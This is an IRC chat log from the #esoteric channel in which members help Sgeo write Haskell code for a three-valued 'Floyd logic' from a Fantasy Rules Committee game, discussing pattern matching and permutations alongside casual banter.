:Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is a bit too used to C#
< 1270075477 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The test cases specified in FRC round 29 all check out < 1270075512 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's this about :( < 1270075513 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i note you are only exporting the type, not any of the functions < 1270075527 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I need to fix that, yes < 1270075544 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :module FLogic(FValue(..),fLeft,fRight) where < 1270075545 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :right? < 1270075557 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aht is floyd logic < 1270075599 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh your first case can be written as [Talse, Floyd, Frue]!!ftemp values < 1270075614 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although the case may be faster < 1270075625 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1270075649 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1270075670 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :=== and (+) are defined in valid rules < 1270075692 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well === is a legal operator name < 1270075710 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1270075712 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why < 1270075726 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: what? < 1270075740 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I dont get this < 1270075750 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: it was an frc round < 1270075763 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270075764 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's an frc round < 1270075789 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`google Fantasy Rules Committee < 1270075801 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Member list, history of past rounds, and an introduction to how to play this themed rule-making game. \ www.win.tue.nl/cs/fm/engels/frc/index.html - [13]Cached < 1270075807 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :After I finish this code, I just need to send it to 1994 < 1270075823 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Where it may prove useful < 1270075827 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that may not be uptodate though, i hear it's still ongoing < 1270075852 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::(((((((((((((((((( < 1270075917 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the FRC is indeed still ongoing < 1270075921 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :groups.google.com/group/frc-play < 1270075960 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I dont undersatnd aynthing!!!! < 1270076016 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: if you derive Enum as well, then fRight = toEnum . ftemp < 1270076041 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: it's a creative game, about inventing rules < 1270076050 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That seems like more of a coincidence than anything profound < 1270076054 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: It is Nomic. < 1270076077 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although it makes me wonder why FLeft and FRight were defined the way they were < 1270076082 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: well it's a coincidence with the order you listed it in the data type < 1270076139 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There has to be a more elegant way than p <+> q = if p==q then Talse else if p == Frue || q == Frue then Frue else Floyd < 1270076156 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I tried pattern matching, with the first one being p <+> p, but that didn't work < 1270076184 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: what is clear is that fLeft and fRight are functions of each other < 1270076187 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :p <+> q | p == q = ... < 1270076192 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :p <+> q | otherwise = ... < 1270076194 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, oh, ty < 1270076213 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wait, I need to say p <+> q multiple times? < 1270076220 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Repeat: if/then/else sucks < 1270076227 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyone interested in a little challenge? < 1270076243 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, I meant, I thought the syntax let me skip the p<+>q thing the second etc. time < 1270076245 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: no, just once < 1270076297 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually fax's otherwise looks silly < 1270076314 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :p <+> q | p == q = Talse < 1270076325 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Frue <+> _ = Frue < 1270076331 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_ <+> Frue = Frue < 1270076337 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_ <+> _ = Floyd < 1270076390 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :... < 1270076452 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24563#a24563 < 1270076508 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You know, in (+), Floyd almost acts like a NaN < 1270076552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you could define fMiddle with 0 -> Floyd; 1 -> Frue; 2 -> Talse and then fLeft and fRight would be rotations in each directions of that < 1270076578 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what *I* would do is just write out the truth tables in full < 1270076581 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does fMiddle mean, exactly? < 1270076595 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, I just wrote directly from the specs < 1270076599 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you MUST make it short gzip the program once it's done < 1270076602 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: um the third option you could invent other than fLeft and fRight? < 1270076609 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay that's different < 1270076624 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, fLeft and fRight operate on lists of FValues < 1270076650 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :each of those are just rotating the result values of the others < 1270076670 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Shouldn't there be 3!=6 possibilities, if you count more than just what you can get by rotating? < 1270076693 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yep. but rotations are the even permutations < 1270076702 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and form a subgroup < 1270076709 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is lost
< 1270076739 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: rotations are those permutations of 3 that leave no element in place < 1270076751 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this works only for 3 elements though < 1270076773 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how FTheorem processing would wrok
< 1270076775 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*work < 1270076852 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: like a NaN, except Floyd <+> Floyd == Talse < 1270076873 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right < 1270077141 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, a Data.Map String (a->b) could presumably be used to make an OOP-like object < 1270077142 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Floyd <+> Floyd ought to == Pink. < 1270077145 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, not a->b < 1270077157 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But some thing that can store various types of functions? < 1270077166 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol pikhq < 1270077275 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not seeing much of a way to make that typecheck, without making a single type that has constructors for what function types you want... < 1270077721 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION does wonder if the function he wrote works
< 1270077806 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yes, although it is backwards from elemIndices < 1270077834 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Let others praise ancient times; I am glad I was born in these. -- Ovid (43 B.C. - A.D. 18) < 1270077853 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1270077882 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And quite possibly, future times may be more fun than these < 1270077886 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And less painful < 1270077900 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :once soma becomes widespread anyway < 1270077910 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"This survey is sponsored by the Microsoft Employee Branding Team" What a hilariously creepy name for a team. < 1270077931 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :soma==wireheading? < 1270077932 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1270077959 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: they walk around the campus with branding irons < 1270077977 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That was my thought. < 1270078011 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I hope they at least use the old Microsoft logo: http://upload.wikimedia.org/wikipedia/commons/f/f6/Microsoft_Logo_Historical.svg < 1270078208 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1270078580 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shouldn't be playing with Haskell now
< 1270079693 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1270079724 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270079888 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270079982 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :augur: sure